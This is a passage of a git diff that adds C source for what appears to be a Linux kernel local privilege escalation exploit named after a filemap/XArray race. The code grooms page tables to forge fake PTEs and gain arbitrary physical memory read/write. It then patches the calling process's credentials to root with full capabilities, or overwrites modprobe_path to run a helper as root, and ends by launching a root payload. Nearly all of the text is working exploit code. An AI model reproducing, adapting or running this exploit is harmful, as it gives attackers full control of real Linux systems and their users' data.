unsigned long found_page = 0; + unsigned char byte = 0; + + mapped_bytes = winning_pmds * PMD_SIZE; + entries = mapped_bytes / PAGE_SIZE; + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries); + fflush(stdout); + + for (unsigned long n = 0; n < entries; n++) { + volatile unsigned char *phys = + (volatile unsigned char *)winning_fake_base + + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_page = candidate_page; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, PHYS_BASE_PFN + found_i, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + if (found_i == (unsigned long)-1) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu\n", + entries, marker_matches, stale_matches); + return 6; + } + } + + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + unsigned int window_index = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned long base_pfn = PHYS_BASE_PFN; + base_pfn < PHYS_SCAN_LIMIT_PFN; + base_pfn += window_pages) { + if (remap_physical_window(winning_alias, + tlb_flush_pad, + base_pfn, + window_index++) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return 7; + } + printf("PHYS_WINDOW_REMAP base_pfn=%#lx bytes=%lu\n", + base_pfn, mapped_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + mapped_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + mapped_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u worker_cpus=%s main_cpu=%s layout_scan_pmds=%lu\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + TLB_FLUSH_PAGES, FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", PUD_PMD_SLOTS); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit_v17_recovered.c b/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit_v17_recovered.c new file mode 100644 index 0000000..472e3bf --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/baseline/filemap_xarray_lts_full_exploit_v17_recovered.c @@ -0,0 +1,908 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#define PHYS_SCAN_LIMIT_PFN ((2560UL * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#define DEFAULT_ROUNDS 20000 +#define FAULT_THREADS 4 +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#define DELAY_PERIOD 100U +#define DELAY_STEP 10U +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH "/root/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH "/root/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_MARKER_PATH "/tmp/filemap-xarray-root-marker" +#define MODPROBE_TRIGGER_PATH "/tmp/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define MODPROBE_PATH_REPLACEMENT "/exploit" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid; +static gid_t target_rgid, target_egid, target_sgid; +static atomic_int fault_callers; +static _Atomic(char *) fault_addr; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} + +static void *fault_worker(void *arg) +{ + (void)arg; + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addr, memory_order_acquire); + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, char *tlb_flush_pad, + unsigned long base_pfn, + unsigned int epoch) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (epoch & 1U) == 0 ? PROT_READ : + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(MODPROBE_MARKER_PATH, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(MODPROBE_MARKER_PATH, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + memcpy(replacement, MODPROBE_PATH_REPLACEMENT, + strlen(MODPROBE_PATH_REPLACEMENT)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + if (trigger_modprobe() == 0) { + printf("MODPROBE_PATH_PATCH selected=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + MODPROBE_PATH_REPLACEMENT); + fflush(stdout); + return 0; + } + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], 2 * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + const uint64_t pair0 = ((uint64_t)target_rgid << 32) | target_ruid; + const uint64_t pair1 = ((uint64_t)target_sgid << 32) | target_suid; + const uint64_t pair2 = ((uint64_t)target_egid << 32) | target_euid; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + const unsigned long words_per_page = PAGE_SIZE / sizeof(uint64_t); + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + volatile uint64_t *words = (volatile uint64_t *)page_base; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long i = 1; i + 9 < words_per_page; i++) { + volatile unsigned char *cred; + uint32_t saved_ids[8]; + uint64_t saved_permitted, saved_effective; + unsigned long usage; + + if (words[i] != pair0 || words[i + 1] != pair1 || + words[i + 2] != pair2 || words[i + 3] != pair2) + continue; + id_matches++; + usage = words[i - 1]; + if (usage == 0 || usage > 0x100000 || + words[i + 4] != 0 || words[i + 5] != 0 || + words[i + 6] != 0 || words[i + 7] != 0) + continue; + + candidates++; + printf("CRED_CANDIDATE pfn=%#lx page_offset=%#lx usage=%lu bset=%#llx ambient=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + usage, (unsigned long long)words[i + 8], + (unsigned long long)words[i + 9]); + cred = (volatile unsigned char *)&words[i] - 8; + for (unsigned int id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)); + saved_permitted = *(volatile uint64_t *)(cred + 56); + saved_effective = *(volatile uint64_t *)(cred + 64); + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + 40) = 0; + *(volatile uint64_t *)(cred + 56) = CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + 64) = CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, candidates); + printf("CRED_PATCH pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = + saved_ids[id]; + *(volatile uint64_t *)(cred + 56) = saved_permitted; + *(volatile uint64_t *)(cred + 64) = saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid, euid, suid; + gid_t rgid, egid, sgid; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + getresuid(&ruid, &euid, &suid); + getresgid(&rgid, &egid, &sgid); + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, cap_rc, + (unsigned long long)effective); + printf("ROOT_PROOF open=%d read=%ld data=%.*s\n", + fd >= 0, (long)n, n > 0 ? (int)n : 0, proof); + fflush(stdout); + return ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + cap_rc == 0 && effective == CAP_VALID_MASK_7_1 && + n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0 ? 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(POST_ROOT_PATH, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE created=0 errno=%d (%s)\n", + errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(POST_ROOT_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(POST_ROOT_PATH, &st) != 0) + return -1; + printf("POST_ROOT_CREATE created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + st.st_uid, st.st_gid, st.st_mode & 07777, (long)n, + n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + uintptr_t root, source_base, follower_base, fake_base; + void *layout; + char *dummy, *follower; + char *marker, *tlb_flush_pad; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + printf("PRE_ROOT_PROOF open=%d errno=%d (%s)\n", + fd >= 0, saved_errno, strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + source_base = root + SOURCE_ENTRY * PMD_SIZE; + follower_base = root + PUD_SIZE; + fake_base = root + CORRUPT_FIRST_PMD * PMD_SIZE; + + /* Install every VMA before the allocation-sensitive page-table sequence. */ + dummy = mmap((void *)(source_base + PMD_SIZE - PAGE_SIZE), PAGE_SIZE, + PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + follower = mmap((void *)follower_base, PAGE_SIZE, PROT_READ, + MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (mmap((void *)fake_base, FAKE_WINDOW_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED || + dummy == MAP_FAILED || follower == MAP_FAILED) { + perror("install fixed VMAs"); + return 2; + } + + /* Existing page-cache data means these consecutive faults allocate only + * page-table pages. The source PTE page is followed by the follower PMD. */ + if (touch_file_byte(dummy) != 0 || touch_file_byte(follower) != 0) { + perror("fault grooming mappings"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx source=%#lx follower=%#lx fake=%#lx\n", + (unsigned long)root, (unsigned long)source_base, + (unsigned long)follower_base, (unsigned long)fake_base); + fflush(stdout); + + { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_base, PAGE_SIZE, &resident); + + printf("FAKE_WINDOW_PRECONDITION mincore_rc=%d resident=%u\n", + pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + uint64_t *alias; + volatile unsigned int delay; + unsigned long first_present = FAKE_PT_PAGES; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC | MFD_EXEC); + if (fd < 0 || ftruncate(fd, PMD_SIZE) != 0 || + prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + source = mmap((void *)source_base, SOURCE_SIZE, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + SOURCE_PGOFF * PAGE_SIZE); + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, 64 * PAGE_SIZE); + if (source == MAP_FAILED || alias == MAP_FAILED) { + perror("map race views"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + atomic_store_explicit(&fault_addr, source, memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + while (atomic_load_explicit(&fault_callers, memory_order_acquire) == 0) + sched_yield(); + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); + (void)fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + 0, PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + + for (unsigned long pmd = 0; pmd < FAKE_PT_PAGES; pmd++) { + unsigned char probe = 0; + + if (safe_read((const volatile unsigned char *) + (fake_base + pmd * PMD_SIZE), + &probe) != 0) + continue; + if (first_present == FAKE_PT_PAGES) + first_present = pmd; + last_present = 